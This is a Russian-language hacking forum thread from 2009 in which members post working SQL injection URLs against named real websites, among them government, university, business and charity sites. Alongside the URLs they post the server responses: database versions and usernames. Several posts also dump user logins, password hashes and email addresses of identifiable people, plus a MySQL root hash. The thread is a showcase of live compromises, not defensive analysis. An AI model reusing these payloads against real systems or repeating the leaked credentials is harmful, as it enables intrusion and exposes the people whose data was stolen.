SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://olvexdiagnost.spb.ru/catalog/items_description.php?id=-1+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),user(), database()),10,11,12,13,14,15,16,17--

    5.0.24a-community-max-nt-log:[email protected]:1gb_olvexd

    ТИЦ: 100
    PR: 4
     
    _________________________
  2. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    Code:
    http://www.traunstein.com/landratsamt/show.php?ID=-53+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8--
    5.0.51b-log:db198610:db198610@local3
    Code:
    http://keels-n-wheels.com/show.php?id=140246+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,version(),database(),user()),12,13,14,15,16,17,18,19,20,21,22,23,24,25-- 
    4.0.14-Max:knw:root@localhost
    Code:
    http://www.cs3r.org/show.php?id=10+and+substring(@@version,1,1)=4
     
    #9022 RulleR, 1 May 2009
    Last edited by a moderator: 1 May 2009
  3. _SEREGA_

    _SEREGA_ Banned

    Joined:
    28 Mar 2008
    Messages:
    132
    Likes Received:
    44
    Reputations:
    7
    Code:
    http://www.evergladesfoundation.org/article.php?id=-10+union+select+1,concat_ws(0x3a,version(),%20user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--
    5.0.67
     
    #9023 _SEREGA_, 1 May 2009
    Last edited by a moderator: 1 May 2009
    2 people like this.
  4. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.limceb.ie/events_detail.php?id=-1+union+select+1,concat_ws(0x3a,version(),user(), database()),3,4,5,6,7,8,9--

    5.0.45-log:[email protected]:limceb_database

    ТИЦ: 0
    PR: 5
    ------------------------------------------------------------------------
    http://www.carrigdhoun.ie/index.php?p=story&id=-1+union+select+1,concat_ws(0x3a,version(),user(), database()),3,4,5,6--

    5.0.45:carrigdhoun@localhost:carrigdhoun
    ------------------------------------------------------------------------
    http://www.wineweb.ie/winemakers_view.php?id=-1+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6--

    5.0.45-log:[email protected]:wineweb_wineweb
     
    _________________________
    #9024 HAXTA4OK, 1 May 2009
    Last edited: 1 May 2009
  5. erihtoney

    erihtoney Member

    Joined:
    3 Mar 2009
    Messages:
    91
    Likes Received:
    73
    Reputations:
    20
    Один из самых посещаемых новостных порталов Грузии,посвященных ИТ

    Code:
    http://inews.internet.ge/stat_relatives.html?date=2008-08-09&stat=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),
    database()),6,7,8,9,10,11,12,13/*
    version:5.0.32-Debian_7
    user:etch1webuser@localhost
    database:oldnews


    Code:
    http://inews.internet.ge/stat_relatives.html?date=2008-08-09&stat=-1+union+select+1,2,3,4,table_name,6,7,8,9,10,11,12,13+from+information_s
    chema.tables+limit+58,1/*
    tables: 58
     
    1 person likes this.
  6. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.gspltd.ge/index.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),user(), database()),9,10,11,12,13,14,15--&lang=rus

    4.0.27:gspltd_ge@localhost:gspltd_ge

    ТИЦ: 0
    PR: 4
     
    _________________________
  7. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://www.opendoors-de.org/details.php?id=122&idelement=-7702+union+select+1,2,3,4,5,6--&supp_page=news_archives

    table:
    users1
    modelusers
    modelcaddieusers
    catalog_cartusers
    cataloguepode_caddieusers
     
    1 person likes this.
  8. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.wap-prague.org/index.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(), user())--

    4.0.27-log:mysql19076:[email protected]

    ТИЦ: 0
    PR: 4
     
    _________________________
    1 person likes this.
  9. InFlame

    InFlame Banned

    Joined:
    27 Oct 2008
    Messages:
    207
    Likes Received:
    32
    Reputations:
    0
    Target: www.bahamassupremecourt.gov.bs

    Evil link: http://www.bahamassupremecourt.gov.bs/rules.php?id=-160+union+select+1,2,3,4,5,6,concat_ws(0x2f,user(),database(),version(),@@version_compile_os),8,9,10,11,12,13,14,15,16,17,18/*

    Database info:
    user: scourt@localhost
    database: regatta_supremecourt
    version: 5.0.45


    Users (login:рassword:mail):
    webmaster:d7JhdmSDXI9Os:[email protected]
    egevans:17Tj/yEs0udP6:[email protected]
    dornell.brown:dbzLqzSCXxmuY:[email protected]
    keva.smith:doDI9RjsNFbQE:[email protected]
     
  10. Dimionx

    Dimionx Elder - Старейшина

    Joined:
    28 Aug 2008
    Messages:
    37
    Likes Received:
    12
    Reputations:
    4
    www.tkdpress.com

    Code:
    http://www.tkdpress.com/shop.php?training'&ID=7+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6
    Версия - 5.0.51a
    Юзер - [email protected]
    БД -U3966181

    Таблички с юзерами:

    Code:
    http://www.tkdpress.com/shop.php?training'&ID=7+union+select+1,2,concat_ws(0x3a,username_clean,password,email),4,5,6+from+users+limit+0,1


    Code:
    http://www.tkdpress.com/shop.php?training'&ID=7+union+select+1,2,concat_ws(0x3a,username,user_password),4,5,6+from+phpbb_users+limit+1,1


    www.adrmotorsport.com

    Code:
    http://www.adrmotorsport.com/shop.php?id=-7+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5

    Версия - 4.1.20
    Юзер - adr_root@localhost
    БД - adr_news

    www.lostrivercraft.com

    Code:
    http://www.lostrivercraft.com/shop.php?id=7+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/*
    Версия - 5.0.22
    Юзер - lostriver@localhost
    БД - lostriver
     
  11. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    Code:
    http://www.emarketinganswers.com/qna/show.php?id=-428+union+select+1,concat_ws(0x3a,version(),database(),user()),3--
    5.0.22:ema_data:mork@localhost
    Code:
    http://www.telecomresearch.ru/show.php?id=-1275+union+select+1,unhex(hex(concat_ws(0x3a,version(),database(),user()))),3,4,5,6,7,8,9,10,11,12,13,14-- 
    4.1.16-standard:telecomres_1:[email protected]

    Code:
    http://www.infogeo.ru/metalls/board/show.php?id=382884+and+substring(@@version,1,1)=5
    Code:
    http://www.wrm.ru/news/show.php?id=63+and+substring(@@version,1,1)=5
     
  12. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.maloneoregan.ie/page.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11, 12,13--


    4.1.20:maloneoregan_ie_-_mor:maloneoregan@localhost

    ТИЦ: 0
    PR: 3
     
    _________________________
  13. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.millerab.com/projects-under-construction.php?ID=1+or+1=system_user
    User: millerabreader
    Code:
    http://www.millerab.com/projects-under-construction.php?ID=1+or+1=db_name()
    DB: millerab
    Code:
    http://www.millerab.com/projects-under-construction.php?ID=1+or+1=@@version
    Version: Microsoft SQL Server 2005 - 9.00.3077.00 (X64) Dec 17 2008 20:40:08 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2)

    MsSQL Injection
     
    #9033 mailbrush, 1 May 2009
    Last edited: 1 May 2009
  14. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://www.unialco.com.br/jobs/details.php?id=-48'+union+select+1,2,group_concat(f_name,char(58),password,char(58),email,char(58),level),4,5,6,7,8,9,10+from+users+--+

    Claudiney:e1df95cfb2a487e111103a69c090ba3f:[email protected]:3
    Wagner:c4c8f45b4d559e57c25e4d78e66a4d1c:[email protected]:3
    José Roberto de:25d55ad283aa400af464c76d713c07ad:[email protected]:1
    Victor Hugo:86cc29875c59f760998e13403c5fcbfc:[email protected]:1
    Jessica Saletti:a45643ba9765a92f68a3d1ec460379a9:[email protected]:1
    Pedro Henrique:cc2d7966d741ee6fa430b0d791a228fc:p[email protected]:1
    Marcos:da4144fa7412769cf953f25d1a3bd120:[email protected]:1
    Fábio:239aeb645b2ba44b6ad8abd77575cf23:[email protected]:1
    Jair Ramos dos Santos:88cd9cc9b0af2c54f945ca0ff6c6212a:[email protected]:1
    Michele:381c65a9689bd3f852e61a020ac051af:[email protected]:1
    Fernando:25d78cf8ea297b70ba268ad7211637bd:[email protected]:1
    Marineusa:50e887ab23e106ab1414bb3d33132505:eek:[email protected]:1
    Carlos César da Silva Cabral:00c555d31e1ffcbcaaadbb822b1f0a9c:[email protected]:1
    Jefferson Eduardo boaventura:102b4fe641956db45a46824a19
     
  15. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.alanmoore.ie/productDetails.php?id=1+union+select+1,concat_ws(0x3a,version(),database(), user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--

    5.0.45-community-log:AlanMoo_alanmoore:[email protected]

    ТИЦ: 0
    PR: 4
     
    _________________________
    1 person likes this.
  16. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.designassociates.ie/keystaff.php?id=1+and+1=0+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4+--+
    general@localhost:Designassociates:5.0.24
    Code:
    http://www.designassociates.ie/keystaff.php?id=1+and+1=0+union+select+1,concat_ws(0x3a,user,password),3,4+from+mysql.user+--+
    Code:
    root:*1753F71060D207B40F2F70F752289368D0026D7B
     
  17. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.imro.ie/calendar/calendar.php?op=cat&id=-1'+union+select+1,2,concat_ws(0x3a,version(),database(), user()),4,5,6/*

    4.1.22:calendar:root@localhost

    ТИЦ: 10
    PR: 6
    ------------------------------------------------------------------------
    http://www.solicitor.ie/article.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(), user())--

    5.0.45-log:finkeegan:[email protected]

    ТИЦ: 0
    PR: 3
    ------------------------------------------------------------------------
    http://www.hanleyauctioneers.ie/content.php?id=-1+union+select+1,2,concat_ws(0x3a, version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40--

    5.0.45:ghanleyproperty:[email protected]

    ТИЦ: 0
    PR: 2
    ------------------------------------------------------------------------
    http://www.cellenergy.ie/information_center_indetail.php?id=-1+union+select+1,concat_ws(0x3a,version(), database(),user()),3,4,5,6--

    5.0.67-community:celle3_cms:celle3_cms@localhost

    ТИЦ: 0
    PR: 3
     
    _________________________
    #9037 HAXTA4OK, 1 May 2009
    Last edited: 1 May 2009
  18. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Pадио АПЛЮС - первая интернет станция в Республике Беларусь​


    Database Version: 5.0.32-Debian_7etch8
    Database name: aichyna_shoutcast
    User name: shoutcast@localhost

    Интересные таблици: radio_login, bf_members_converge, ibf_members

    тИЦ 600
     
    #9038 .:[melkiy]:., 1 May 2009
    Last edited: 1 May 2009
  19. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.idc.ul.ie/people.php?id=-1+union+select+1,2,concat_ws(0x3a,version(), database(),user()),4,5,6,7,8,9,10,11,12--

    4.1.20:idcweb:[email protected]@ul.ie

    ТИЦ: 0
    PR: 5
    ------------------------------------------------------------------------
    http://www.crisispregnancy.ie/pressrelease.php?id=-1+union+select+1,2,3,concat_ws(0x3a,ve rsion(),database(),u ser()),5,6--

    5.0.27-community-nt:cpadb:[email protected]

    PR: 6
     
    _________________________
    #9039 HAXTA4OK, 1 May 2009
    Last edited: 1 May 2009
  20. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Мужики серьёзные привилегии sysadmin.



    Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)




    NT AUTHORITY\SYSTEM




    CollusionZine
     
    2 people like this.
Thread Status:
Not open for further replies.